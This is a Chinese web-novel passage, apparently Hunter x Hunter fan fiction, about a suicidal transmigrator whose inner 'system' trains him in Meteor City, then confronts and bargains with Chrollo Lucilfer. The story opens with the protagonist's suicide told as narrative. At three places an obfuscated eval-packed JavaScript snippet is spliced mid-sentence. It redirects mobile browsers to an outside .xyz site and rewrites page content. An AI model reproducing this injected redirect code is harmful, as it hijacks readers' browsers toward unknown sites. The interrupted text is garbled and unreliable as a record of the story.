《我拱了揍敌客家的白菜》 1. 天降白菜 人生来就是一个人。 一个人出生,一个人成长,一个人死去。 程笑偶尔会想:既然如此,还有什么是真正重要的?所谓“重要”,不过是执念被自我无限放大后的幻象罢了。 他嗤笑一声,拍了拍裤子,从台阶上一跃而下,重新汇入街上的人潮。他继续讲起那些能让所有人发笑——哪怕笑完会暗自懊恼——的地狱笑话,语气轻佻,眉眼弯弯。 或许,只是或许,会有那么一瞬间,能遇到一个可以对上频率、接上“链接”的人呢? 有吗? ……有吗? …………有吗? 没有。 酒宴散场,程笑把自己扔进床里,盯着苍白的天花板。孤独。孤独不像风,也不像雾,它像潮水,无声地涨起来,淹没口鼻,灌进胸腔。 为什么?算了,没关系。 现在这样……不也挺好的?他试图这样安慰自己,直到那熟悉的、双向的焦虑如同海啸般轰然袭来,将他彻底击穿。 他的双手开始不受控制地颤抖,可他依然能对每一个前来关心的人,精准地扯出一个无懈可击的笑脸。 真该死…为什么我的大脑,连控制身体这种小事都做不好?为什么就不能分泌点随便什么玩意儿,让我的心脏(或者说是情绪)好过那么一点点? 他累了,是真的累到骨头缝里都透着倦怠。 他所取得的一切成就,不过是一场盛大的、对自我认同的卑微祈求。而当他的内心无法给予任何回馈时,他终于明白了——不是回馈的条件太过高昂,而是那个源泉本身,已经彻底枯竭了。 归根结底,是他自己不肯放过自己。习惯性的严苛和自省,早已断绝了通往内心安宁的路。他活得离经叛道,对世界的运行规则洞若观火,并能因此如鱼得水。但也正因看得太清,他才觉得这些规则(尤其是那些人情世故)空洞又可笑,纯粹是拿来刁难人的麻烦玩意儿。 他并非没有尝试过向外求救。但他逗笑的每一个人,无不是被他那层“万人迷”的光鲜表皮所吸引。他从未寻获一个灵魂的同类,反而还要强打精神,去应付那些“希望你好起来”的关怀——这简直比孤独本身更耗人。 各种情绪积压到临界点的那天,他选择了跳下去。不过,因为他骨子里到底是个恶劣的乐子人,所以在纵身之前,他还不忘cos了一把“金圣叹”,用一场荒诞的告别秀,暗戳戳地留下“哈,一切都太迟了”的嘲讽。 他就是觉得这世上明里暗里的笑脸藏刀太烦人了,这一切都毫无意义。这个被文明精心包装的世界,或许从来就不适合他。所以他选择了自主离开,像挣脱一张无形却缠人的巨网。 世界就是一张巨大的蛛网,每个人都是被黏在上面的飞虫,茫然地等待着名为“死亡”的蜘蛛某天随机地、不经意地爬过来,将自己吞噬。 他不自由。 那蛛丝(世俗的束缚、他人的期待,一切的一切)越缠越紧,勒得他喘不过气。 再次睁开眼,映入眼帘的是一片无垠的废墟,一直蔓延到天际。夕阳被染上一种令人不安的红绿色,诡异地悬挂在破碎的地平线上。 程笑坐起身,仔细地检查了自己的四肢和躯干,嘴角扯出一个嘲讽的弧度。 “啧,跳下来都没摔成一块一块的,我该不会是老天爷的亲孙子吧?” 他当然知道这不可能,但这并不妨碍他用这种口吻调侃自己的处境。花了不到十秒钟,他就坦然接受了自己穿越的事实。就在他以为不过是换了个地方继续受罪时,一个声音突兀地在他脑海中响起。 “你好。” “?”程笑的第一反应是自己的老毛病又升级了——从双向情感障碍直接快进到精神分裂。他忍不住在心里骂了一句:贼老天,穿越大礼包还买一送一是吧?连精神病都不放过? “不,我不是你分裂出的人格……”那声音似乎能捕捉他的思绪,尝试辩解道:“我是……” “哦?”程笑的语气瞬间带上了玩味的笑意,“那你难道是系统?老天爷终于想起我是他流落民间的亲孙子了?”他只觉得荒谬又好笑——一方面他鄙夷这种烂俗的网文套路,另一方面他根本不相信命运会对他有任何馈赠。“直说吧,你带着什么任务来的?总不可能是专程来给我当保姆的吧?” “……对。你可以称我为‘系统’。”那声音迟疑了片刻,最终还是承认了。“我的任务是……保证你的存活。” “?~”程笑恶劣地吹了个口哨,眼里闪烁着危险又兴奋的光:“这么爽?那是不是意味着我现在可以随便作死了?反正你会给我兜底?” “……”系统陷入了长久的沉默,仿佛在重新评估绑定对象的脑回路。“……强烈不建议您这样做。” “行吧~”程笑拖长了调子,无所谓地耸耸肩,“那系统,报个地图呗~这什么鬼地方?” “……根据环境扫描结果分析,此地大概率是……流星街。” “流星街?”程笑愣了一下,随即真正地笑出了声,笑声里带着一种近乎疯狂的认可:“有意思。我这是穿越到了……全职猎人的世界?” “……”系统没有再回应,沉默仿佛是一种默认。 “系统,”程笑忽然开口,语气轻快得像在讨论今天天气真好,“我想去找库洛洛·鲁西鲁玩。” “……什…什么?”系统的声音卡顿了一下,明显顿住了,仿佛被这突如其来的荒唐念头惊得忘了说话。,“你疯了?主动去找‘蜘蛛’的脑子?为什么?!” “嗯?早就听说他是这里的智商天花板了,”程笑歪了歪头,语气里带着显而易见、甚至有些夸张的说笑意味,但与他思维直接链接的系统清晰地读取到——这家伙是认真的,他甚至已经开始思考该从哪里入手打听了。“来都来了,不去会会多可惜啊。” 短短几句话的交流,已足够让这个寄宿于程笑意识中的“存在”大致摸清了他的性子:这是一个无法用常理揣度的狂徒,乐趣远比安危重要。 “………”明确的拒绝和警告大概率会立刻激起他强烈的逆反心理,到时候他绝对能干出立刻拔腿就去找蜘蛛的事儿。系统沉默了片刻,思绪飞快流转,最终选择了一种更迂回的方式,语气里甚至带上了一丝近乎劝诱的谨慎。 “并非不行,”系统的声音听起来平静,甚至有了几分附和的意味,但紧接着便抛出了现实的问题,“但你想过吗,以你现在这样,恐怕连靠近都做不到。”他的语气变得务实,带着点引导的意味,“至少,你需要先有能站稳脚跟的能力。否则一个照面就结束了,岂不是很无趣?” 听到这里,程笑的态度似乎略有松动。系统暗自松了口气,感觉劝阻的努力即将见效。正当他准备趁热打铁,进一步巩固这来之不易的理性时,程笑却突然话锋一转: “那……你有什么功法吗?”他兴致勃勃地问,仿佛在挑选货架上的商品。 “……什、什么?”系统被这跳跃的思维打了个措手不及,意识里充满了人性化的错愕,完全没跟上节奏。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526531|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “功法啊,修炼技巧什么的,我不挑的。”程笑开始如数家珍,“流星街的野路子?揍敌客家的暗杀术?或者尼特罗会长的‘百式观音’我也能勉强接受……” 看着程笑越说越起劲,系统彻底陷入了沉默。那是一种带着些许无力感的、属于“人”的沉默。 “我说……”程笑的语气带上了几分怀疑,“你该不会什么都没有吧?什么系统商城、积分兑换、新手大礼包……这些标配呢?”他狐疑地顿了顿,脑洞再次清奇地展开:“你难道真的不是我分裂出来的第二人格?仔细想想,你有时候的反应确实挺像个人的……” “有。”系统果断打断了程笑的危险揣测,阻止他再在这个方向上深入思考下去。“揍敌客的技艺,我知道一些。” “很好~”程笑满意地笑了,注意力果然被成功转移,“比起硬碰硬,潜行与技巧确实更对我的胃口。”他隐约察觉到了系统那一瞬间的打断有些生硬,但“揍敌客秘传”这几个字的诱惑力实在太大,他选择了暂时忽略那一点点不对劲。 几天后,一个普通的早晨。 “这个动作,关键是小腿肌肉发力,想象自己在踮着脚尖走路……”在“系统”的指导下,程笑很快开始了尝试。 他依言照做,动作倒是学得有模有样,只是嘴上一点也没闲着:“我说系统,我看别人家的小说里,不都是点一下‘学习’或者花点积分,‘唰’一下就会了吗?怎么到我这儿还得吭哧吭哧一步一步练啊?” “……”他脑中的那个意识沉默了一瞬。他并不完全理解程笑所说的“小说”和“积分”具体指什么,但他大致明白,这家伙是又想走捷径了。他开口,声音平稳却带着不容置疑的务实:“理论要点可以轻易传授,但真正的技巧并非理解了就能掌握。身体的记忆同样重要,甚至更为关键。” 他顿了顿,抛出一个方案,语气平淡却暗含深意:“如果你实在不愿亲自练习,我也可以暂时接管你的身体,通过重复动作来帮你形成‘肌肉记忆’。”他刻意停顿了一下,让接下来的话显得格外清晰:“只不过,这样一来,以后任何需要用到这些技巧的时刻,恐怕都离不开我的‘代劳’了。” 话里的意思再明白不过:前期不想吃苦,后期就休想自由掌控这份力量。 程笑挑了挑眉,显然听懂了这层交换条件。他扯了扯嘴角,像是觉得这规则有点意思,又像是放弃了无谓的挣扎:“好吧好吧,”他摆摆手,重新将注意力放回动作上,“自己练就自己练呗。” 夕阳很快沉入地平线,将流星街杂乱的天空染成一片昏黄。 程笑拖着酸痛不堪的身体,几乎是把自己摔进了那张简陋的床铺。这是一个由废弃小教堂改建而成的民间福利院,院长是位年过半百、面容慈祥却难掩疲惫的老婆婆,名叫玛莎。 这地方有些怪异——它并未保留教堂原有的任何宗教象征,没有十字架,也没有耶稣受难像。只是在厅堂尽头,立着一个不起眼的小小牌坊,上面刻着些模糊难辨的字迹。程笑对这一切毫无兴趣,他甚至懒得多看一眼。 他只是在心里,对着那个与他共享意识的“存在”大肆称赞了一番:“选得好啊!这临时安置点简直完美!”他是真心实意地把这里当成了某种“新手安全屋”,每天理所当然地早出晚归,将这里纯粹当作练习后休憩的客栈。 夜深人静,当程笑的意识彻底沉入睡眠深处后,另一股意识悄然浮现。 “系统”操纵着这具疲惫的身体,缓缓睁开了眼睛。 2. 离开新手村的第一件事当然是去调戏库洛洛! 夜色浓重,福利院内一片寂静。 “程笑”悄无声息地走出小屋,步入了空旷的大厅。那双睁开的眼睛里,流转着与平日截然不同的神采,瞳色似乎也更深沉了些。清冷的月光从破损的彩窗漏下,零星地照亮了厅堂尽头那座小小的牌坊,以及前面散落的、已经有些干枯的花瓣。 “你怎么在这里?”一个温和而略带沙哑的声音从走廊阴影处传来。玛莎婆婆端着一盏油灯,豆大的火苗在她满是皱纹的脸上跳跃。她看着站在大厅中央的“程笑”,眼中闪过一丝疑惑:“这么晚了,还不休息吗?” “……”‘系统’操控着身体,沉默地望向玛莎。一种莫名的熟悉感扑面而来,仿佛触及了某个被深埋的角落。可每当他想仔细捕捉这感觉的来源,一阵尖锐的刺痛便猛地窜过头部,阻止他深入探究。 他就这样怔怔地看着老妇人,一种难以言喻的酸楚毫无预兆地积聚在胸腔,沉甸甸的,堵得他几乎喘不过气。眼眶不受控制地发热,一种想要流泪的冲动让他感到陌生而无措。 “你的眼睛……”玛莎婆婆望着他,也微微愣了一下,像是透过这双眼睛看到了别的什么人,陷入了短暂的回忆。她随即像是明白了什么,语气变得更加柔和:“是对这个感到好奇吗?” 她显然误会了他的驻足。老人缓缓走上前,将油灯小心放在一旁,然后用那双布满老茧的手,极其轻柔地捧起那座小小的牌坊。她又从围裙口袋里摸出一块干净的软布,熟练而仔细地擦拭起来,动作带着一种经年累月的习惯。 “他是个好孩子,”玛莎的声音很轻,像怕惊扰了什么,“就像一只好不容易飞出巢穴,却还总惦记着往回衔枝的鸟儿。” “……”‘系统’沉默地听着,一滴温热的液体毫无征兆地滑落脸颊,砸在冰冷的地面上。 “虽然他……”玛莎的话音顿了顿,最终只是化作一声几不可闻的叹息。她小心翼翼地将牌坊放回原处,仿佛那是什么极易破碎的珍宝。“不过,这里的孩子们会记得他。永远记得。” 老人垂着眼睑,片刻后再抬起时,脸上已经恢复了平日那种历经风霜后的平静与慈祥。“不说这些往事了……托他的福,这片区域的‘官员’们确实收敛了很多。”她摇了摇头,似乎至今仍觉得不可思议,“虽然没人知道他是怎么做到的……但,这些现在都不重要了。” 她像是整理心情般拍了拍手:“活着的人总要继续往前走,逝去的人……但愿能得到安息。”她看向那座牌坊,目光温柔而坚定,带着一种纯粹的私心:“但我总觉得,‘凯’那样的孩子,就该上天堂——如果真有天堂的话。” ‘系统’顺着她的目光看去。清冷的月光恰好照亮了牌坊表面,上面歪歪扭扭却深刻地刻着一个名字—— 凯·希拉里昂。 那名字像一把钥匙,猛地撬动了他意识中某个被封死的区域,剧烈的刺痛再次袭来,比以往任何一次都要尖锐,几乎要撕裂什么。可与此同时,那股汹涌的、几乎要将他淹没的悲伤,却找到了唯一的归宿。 第二天清晨。 “系统……”程笑嘶嘶抽着冷气醒来,感觉全身骨头像被拆过一遍。他揉着酸痛不堪的肩膀,嘟囔道:“奇了怪了,我怎么感觉跟没睡一样?浑身乏得厉害,像是半夜被人拉出去扛了沙包。” “懈怠和为自己的懒惰寻找借口,是不可取的。”脑海里的声音一如既往的平稳,甚至带上了一点铁面无私的训导意味,“尤其在你正处于塑造肌肉记忆的关键阶段。任何松懈都可能导致前功尽弃。” “好吧好吧,你是教官你说得对。”程笑无奈地挠了挠头。指尖传来油腻腻的触感,流星街恶劣的环境让清洁成了奢侈,他感觉自己的头发都快结成一缕一缕了。 “不行,得加紧练习,”他甩甩头,试图把那种黏腻的不适感抛开,给自己打气,“早点变强,才能早点离开这个鬼地方。”这个动力来源虽然听起来有点离谱,但确实有效。 他重新投入到练习中。奇怪的是,尽管身体疲惫异常,但那些反复锤炼的动作却仿佛真的烙印在了肌肉深处。在大脑还没完全反应过来下一个动作要领时,他的身体已经流畅地、几乎本能地完成了衔接。 “哇!系统!我是不是个万中无一的习武奇才?”程笑忍不住在脑中雀跃起来,语调飞扬,带着一种近乎孩童讨要糖果般的急切,“这才多久?我感觉自己练一天抵别人十天!快说我是天才!” “……当然。”系统给出了肯定的回应。 这简单的两个字却像一根针,轻轻扎破了鼓胀的气球。程笑脸上那点鲜活的笑意瞬间凝固,然后以一种肉眼可见的速度垮塌下去,仿佛被某种无形的东西猛地拽入了冰冷深潭。 “…骗人。”他低声说,声音陡然变得干涩扁平,与方才的雀跃判若两人。他扯了扯嘴角,像是在笑,眼神却空茫茫地投向废墟的某处:“这算什么……差得远了……永远都差得远……肯定有‘谁’……轻而易举就能做到完美……” 那个“谁”模糊不清,并非某个具体的人,更像是一种盘踞在他内心深处的、苛责的幽灵,一个由无数否定和焦虑构建出的虚幻标杆。系统能感觉到,一种近乎病态的、自我贬低的癔想正沿着链接弥漫开来。 系统沉默着,并未试图触碰那片扭曲的阴影。反常地,他跳过了所有无用的安抚,语气像一块冷硬但平稳的岩石:“人外有人,天外有天,这是普遍规律。”他顿了顿,继续以那种不容置疑的客观口吻说道:“但基于现有观察,你的学习效率和身体协调性,显著高于平均基准。这是事实。” 程笑听着这完全剔除情感色彩、仅剩骨架的“认可”,那空洞的眼神忽然动了动。他突兀地发出一声短促的笑,不是高兴,更像是一种如释重负的怪异喘息。 对了。就是这样。终于不再是那些廉价的、“我懂你”的共情,也不是轻飘飘的、“你已经很棒”的敷衍。这种冰冷的、仅基于“事实”的评判,反而像一把精准的手术刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526532|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暂时割断了他脑中那些自我纠缠的、癔想出的枷锁。 他感到一种扭曲的舒心,仿佛一直被迫蜷缩在狭小空间的肢体,终于被允许暴力地伸展一次,哪怕关节发出了不堪重负的声响。 “好了好了,”他耸了耸肩,动作幅度大得有些夸张,瞬间将刚才那片刻的阴郁癫狂甩在身后,语气再次变得轻快而跳脱,仿佛什么都没发生过:“加紧练习~!等老子能走出这鬼地方,第一件事就是去找个地方狠狠洗个澡!这头发都快能榨油了!” 日子在日复一日的锤炼中悄然流逝,几个月的时间一晃而过。训练显然取得了不小的成效。 不仅程笑逐渐感受到了对身体的精妙掌控——这是一种前所未有的、清晰而笃定的“主人”意识,仿佛每一块肌肉的收缩与舒展都在忠实地执行他的意志——与此同时,凭借每晚不间断的“加练”,系统也对这具躯壳的潜力和特性有了更深的把握。当然,这后半部分,程笑对此一无所知。 “系统!”程笑感受着身体前所未有的轻盈,像片羽毛般在废墟间灵活腾挪,忍不住得意地调侃起来:“以我现在的身手,是不是该有个响亮的称号了?比如……‘灵活的跳蚤’之类的?” “……”系统似乎被这个过于“别致”且毫不给自己贴金的称号提议给噎了一下,他头一次见到有人开玩笑都专挑这种名头往自己身上安。沉默片刻后,他才用一种近乎纵容的平板语调回应:“如果你坚持……那么它就可以是。” 训练小有所成后,程笑终于离开了那片熟悉的废墟,开始向着流星街更深处、也更边缘的地带探索,试图寻找离开的路径。 离开了好。系统在他脑海中默默思忖着。离开了这片区域,去了更广阔(或许也更安全)的外界,这个麻烦的绑定者大概就不会总惦记着去找那个危险的“库洛洛·鲁西鲁”了。 然而,天似乎总不遂人愿——尤其是系统的愿。 就在一片相对开阔、像是被巨大力量清扫过的垃圾广场边缘,程笑停下了脚步。 广场中央,一个身影背对着他。那人穿着一件深色的毛领大衣,黑色的发丝柔软地贴服着,正微微垂头,专注地看着手中一本厚实的、有着神秘十字印封的书籍。周围是废弃金属堆砌出的扭曲背景,夕阳将他身影拉得很长,与这绝望之地形成一种奇异而静谧的协调感。 尽管只是一个背影,但那种独特的气质——沉静、专注,以及无形中散发出的、与周遭环境格格不入的掌控感——让程笑几乎是瞬间就确定了对方的身份。 他心脏猛地一跳,不是出于恐惧,而是一种混合着极度兴奋和“果然如此”的荒谬感。他在脑中吹了一声无声的口哨。 ‘系统,’他用一种近乎欢快的语气在心里喊道,‘看!我说什么来着?缘分呐!’ 系统没有回话。如果系统有实体,大概此刻正在无声地捏紧眉心。 库洛洛·鲁西鲁似乎察觉到了身后的视线,合上书,缓缓转过身来。 3. 靠谱的外挂,你作死的保障! 程笑像是瞬间得到了某种无声的许可,或者说他根本不需要许可。他眼睛一亮,脸上绽开一种近乎天真的、极度兴奋的笑容,活像个见到了偶像的狂热小粉丝,毫不犹豫地就朝着那个身影小跑了过去。 系统在他脑海里彻底陷入了某种宕机状态。它看着程笑眼中闪烁的、几乎能实体化的“星星眼”,听着他嘴里开始倾泻而出华丽繁复、用词精准甚至带着咏叹调般的赞美诗——这些辞藻华丽得根本不像他平时那副懒散又带刺的样子,内容更是详尽得可怕,从蜘蛛某些极其隐秘的“战绩”细节到对库洛洛本人气质毫无底线(但角度清奇)的吹捧,滔滔不绝,如同瀑布奔流。 这简直是自寄生以来从未有过的、堪称惊悚的画面。系统大脑的运算几乎停滞,只能贫乏地感叹:……大开眼界。 而被如此热烈“告白”的对象——库洛洛·鲁西鲁,也确实感到了些许意外。蜘蛛的恶名在流星街内外都如雷贯耳,虽说确实可能存在一些……品味独特的崇拜者,但狂热到这种程度、且信息掌握得如此详尽的,实在罕见。 更让他留意的是眼前少年的状态。看外表不过十五六岁,按理说这个年纪的孩子应该在流星街的某个角落为了生存而挣扎或变得麻木,但对方却显然通过某种渠道对外界信息——尤其是关于幻影旅团的信息——有着超乎寻常的了解。否则,绝无可能如此熟知那些被刻意模糊或隐藏的“战绩”细节。 库洛洛合上了手中的书,那双深不见底的黑眸平静地落在程笑身上,没有打断,也没有回应,只是带着一丝不易察觉的审视和探究,静静地听着这出突兀而奇异的“个人颂歌”。 程笑的“表演”愈发高涨,尽管开场已经足够浮夸。他像是完全沉浸在了自己构建的狂热氛围里,嘴里滔滔不绝的赞美之词非但没有枯竭,反而愈发天花乱坠,同时辅以极其夸张的肢体动作,手舞足蹈,试图将每一个音节都注入澎湃的情感。 就在这看似失控的狂热达到顶峰,他大声表达出“我最大的梦想就是希望能加入你们!”的瞬间——两人的距离已被他悄无声息地拉近到一个极其危险的程度。 话音未落,异变陡生! 那原本挥舞着的手臂以肉眼难以捕捉的速度猛地探出,精准无比地揪下了库洛洛左耳垂上那枚造型独特的耳环!动作干净利落,甚至带着点轻佻的戏弄。 得手的一刹那,程笑脸上所有的狂热和兴奋如同潮水般褪去,瞬间切换成一种近乎狡黠的、计谋得逞的坏笑。 下一刻,他整个人如同鬼魅般向后弹射而出,速度快得只在空气中留下一道模糊的残影——完美诠释了他自封的那个称号“灵活的跳蚤”。几乎是眨眼之间,他的身影就已消失在层层叠叠的废墟阴影之后,仿佛从未出现过。 只留下原地,被突然夺走耳环的库洛洛·鲁西鲁。他依旧维持着原来的姿势,只是缓缓抬起手,指尖轻轻拂过空荡荡的耳垂。那双深黑的眼眸中,最初的讶异迅速沉淀下去,转而燃起一种冰冷而浓厚的、被意外挑起的探究欲。 库洛洛指尖轻轻拂过空荡荡的耳垂。那双深黑的眼眸中,最初的讶异迅速沉淀下去,转而燃起一种冰冷而浓厚的、被意外挑起的探究欲。 他确实是故意的。原本只是想看看这个表演浮夸到近乎“小丑”的人究竟有何目的——毕竟,很少有人能对幻影旅团高昂的赏金无动于衷。或许对方只是个不知天高地厚的新手,得意忘形之余,根本不清楚自己选中了何等危险的目标。 就在他将念力悄然集中于脖颈,准备应对可能的致命袭击时,却万万没料到,对方的目标竟仅仅是他一侧的耳环。 耳环? 呵。 库洛洛喉咙里溢出一声极轻的、意味不明的声响,像是愉悦的轻笑,又或许只是胸腔里一次混合着兴味的吐息。 总之,他动了。 身影如同鬼魅,悄无声息却又迅疾无比地朝着程笑消失的方向追去。 一方面,那耳环是“七大美色”之一水琉璃所制,是他库洛洛·鲁西鲁的所有物。他的东西,岂容他人轻易染指、随意摘取? 另一方面,他也的确被勾起了兴趣。他想看看这只胆大包天的“小丑”究竟藏着怎样的底牌。敢于以这种方式挑衅幻影旅团的头目,想必是自恃拥有某种有趣的后手吧。 如果没有…… 那就随意碾碎吧。 库洛洛这样想着,眼底掠过一丝冰冷而残酷的兴味。 一段令人窒息的追逐在流星街扭曲的垃圾迷宫中上演。 库洛洛如一道鬼魅的黑影,迅捷地穿过林立的废弃金属和杂物堆叠成的山峦,冲出一处狭窄的隘口。眼前豁然开朗,是一片毫无遮蔽物的开阔平地,视野极佳,足以让任何试图隐藏的身影无所遁形。 这里没有那个小偷的踪迹。 中计了。 这个念头浮现的瞬间,库洛洛没有丝毫犹豫,立刻转身折返。他冷静地审视着来路,大脑飞速回溯着刚才经过的每一个岔路口。 是什么时候布下的误导? 在一个不起眼的岔路口,他的目光再次捕捉到了一小块极其眼熟的布料碎片——与他几分钟前在另一个路口瞥见的几乎一模一样。 “……是这里吗?”库洛洛低声喃喃,脚步停驻。 用重复的假象来掩盖真正的路径……库洛洛唇角勾起一丝冰冷的弧度。看来这次遇到的小丑,并非只有浮夸的表演,脑子里还是有点东西的。 那么,自己也不能再仅仅遵循着“看见-追逐”这种最低效的模式了。追逐的最高本质,在于预判。在于思考“对方会藏在哪里”、“对方认为我会认为他藏在哪里”。 那么……以这位“小丑”展现出的、喜欢戏弄人且胆大包天的特性来看…… 库洛洛眼中的锐利光芒稍稍内敛,他反而不再急切,而是如同闲庭信步般,慢悠悠地在几个关键的岔路口之间散起了步,目光看似随意地扫过那些最适合藏匿、也最方便观察的阴影角落。 ———另一边———— “这家伙……怎么突然散起步来了?” 程笑小心翼翼地趴在一座垃圾山顶部,利用缝隙探出半个脑袋,疑惑地观察着下方突然变得悠闲的库洛洛。 不对劲,十分得有十二分的不对劲! 他在心里疯狂拉响警报:按照剧本,他现在应该像只被抢了蜂蜜的熊一样暴躁地四处乱撞才对啊?这悠闲得像是来垃圾堆里捡破烂的老大爷是什么鬼? 他皱了皱眉,迅速缩回隐藏处,后背紧贴着冰冷的金属废料,试图让自己冷静下来。 难道是对方放过自己了?这个念头刚冒出来就被他自己掐断。 不可能,绝对不可能!这又不是什么童话故事,他更不是什么圣母白莲花……我拿的可是‘七大美色’,是水琉璃!按照原著设定,他为了这玩意儿能追到天涯海角!怎么可能只追这么一小段? 难道是我的误导布条放得太多了?被他看穿了?不对啊,我明明计算过的,那两个路口足够逼真……还是说他其实是个路痴?噗—— 他被自己这个荒谬的想法逗得差点笑出声,又赶紧捂住嘴。 “系统系统!”他忍不住在脑海里呼叫,“快分析一下!这家伙脑子是不是有什么隐疾?比如追逐战中途必须散步才能补充能量之类的?” 系统一如既往地沉默着,拒绝参与他的脑内小剧场。 库洛洛那慢悠悠的脚步声仿佛就在附近徘徊,不紧不慢,却带着一种无形的压力,比疾风骤雨般的追击更让人心慌。 完了完了,程笑感到一阵莫名的委屈和焦躁。 这人不按套路出牌啊!我都准备好欣赏他气急败坏的样子了,他居然给我玩起了心理战?这算什么?高端局的降维打击吗?太欺负人了! 他正沉浸在百般苦恼和不着边际的吐槽中,几乎要为自己“出师未捷身先死”的乐子事业默哀时—— 一只修长的手,无声无息地从他身后的阴影中伸出,精准而轻柔地按在了他毫无防备的肩膀上。 温和的、带着一丝愉悦笑意的声音,如同耳语般在他身后响起: “找到你了。” 程笑的身体瞬间僵住。 ……干! 库洛洛的手搭在程笑肩上,力道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526533|186323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不重,却带着一种无法挣脱的、冰冷的掌控感。他感受到掌下身躯瞬间的僵硬,如同被捕食者钳制住的猎物,充满了无措的惊惶。 ……要完要完要完!乐子玩脱了! 程笑的大脑在尖叫,无数混乱的念头和不着边际的吐槽疯狂刷屏,却丝毫找不到任何破局之法。速度在绝对的洞察和预判面前失去了意义。 就在这彻底的绝望感淹没程笑的刹那——他意识中那个始终沉默的“系统”,基于最核心的需求(保证宿主存活),冷静地评估了现状:凭借程笑本人,逃生概率已无限趋近于零。 介入。 瞬间,库洛洛掌下的触感变了。 那剧烈的情绪波动如同被一刀切断般戛然而止。所有的惊惶、无措、乃至那份神经质的活跃尽数消失,被一种极致的、非人的冷静所取代。躯体的细微颤抖平息下来,仿佛刚才的一切只是拙劣的表演。 “库洛洛·鲁西鲁。” “程笑”开口了。声音依旧是那个声音,语调却平稳得没有一丝波澜,音色低沉而漠然,如同精密仪器在读数。 库洛洛眉梢微不可查地动了一下。他并没有松开手,但眼中的兴味悄然转变,从捕捉到猎物的愉悦,转向了对这突如其来、近乎诡异的“变质”的审视。 “你的目标只是夺回耳环,还是对开发这片‘废弃之地’更感兴趣?”‘程笑’没有回头,只是平静地发问,言语间直接跳过了所有无意义的交涉,直指核心。 库洛洛没有回答,但他沉默本身就是一种默许。他很好奇。 “流星街的面积约等于一个中等国家,拥有大量未被登记、也无法被常规手段追踪的劳动力。其混乱的表象□□系低效,内耗严重。”“程笑”语速平稳,如同在陈述一份冰冷的评估报告。 “幻影旅团的力量足以在此建立规则,但你们缺乏长期经营的耐心和细致的管理框架。掠夺带来的资源是不稳定的,而一个稳定的、可持续的、并能与外界某些渠道形成隐秘循环的供给基地,其长期价值远高于一次性的横财。” 他略微侧过头,眼神平静地扫过库洛洛,那目光仿佛能穿透一切浮华,直抵利益本质。 “东北方向的旧港口,地下管道系统相对完整,稍加修缮便可联通外界海域。南区的废弃工厂群地基稳固,是理想的初级加工场所。掌控这两处,再以‘提供秩序和保护’为名整合周边零散势力,便能形成一个集转运、粗加工、存储为一体的初级节点。” “至于外部商会,‘说服’他们接受优厚分成条款应是你们的专长。此举能为旅团提供稳定的物资、资金,并将根系更深地扎入流星街,获取更深层情报与人力。比单纯消耗更具战略意义。” 库洛洛静静地听着,眼底最初的冰冷和玩味早已被深沉的、锐利的评估所取代。这个方案……其内核与他过去某些模糊的想法不谋而合。他并非看不到可持续经营的好处,但旅团的成员们——包括他自己——往往更享受掠夺带来的即时快感和绝对支配感。那种方式更直接,更符合“蜘蛛”的习性。 相比之下,这种建设性的、需要耐心和细致管理的方案,虽然长期回报可能更丰厚,却显得过于“文明”也过于缓慢,因此始终被搁置在一旁。 此刻,这个方案被如此清晰、精准且极具操作性地重新提出,甚至补全了他曾未深思的细节。眼前这个存在对流星街的了解绝非表面,其思维模式中透露出的对资源的绝对理性判断、对效率的极致追求、以及那种近乎冷酷的实用主义……让他产生了强烈的兴趣。 几秒的沉寂后,库洛洛缓缓松开了手。 “很有趣的提议。”他开口,声音恢复了往常的温和优雅,但其中蕴含的分量却截然不同,“看来表象之下,藏着意想不到的深度。” 他打量着眼前气质迥异的“程笑”,目光最终落在那双毫无情绪波动的眼睛上。 “我对你这个‘存在’,以及你刚才所描绘的‘价值’,都产生了一些兴趣。”库洛洛微笑道,那笑容里带着一种主宰者衡量价值的残酷优雅,“临时团员。这个身份,你觉得如何?在你证明其价值,或者……失去价值之前。” 4. 另一种意义上的“裸奔” 系统操控下的“程笑”静静地站在原地,仿佛刚才提出那个宏大冷峻计划的人抽离了所有精力。他极轻地叹了口气,那叹息里带着一种难以言喻的疲惫——并非身体上的,更像是一种为保住绑定者这条小命而心力交瘁的无力感。 随即,他闭上了眼睛。 库洛洛敏锐地注意到,当那双眼睛再次睁开时,里面某种非人的、绝对理智的光彩瞬间褪去。深紫色的瞳孔(或许是光线错觉)变回了原本的深黑色,同时,一种熟悉又陌生的、跳脱而神经质的神采重新涌现。 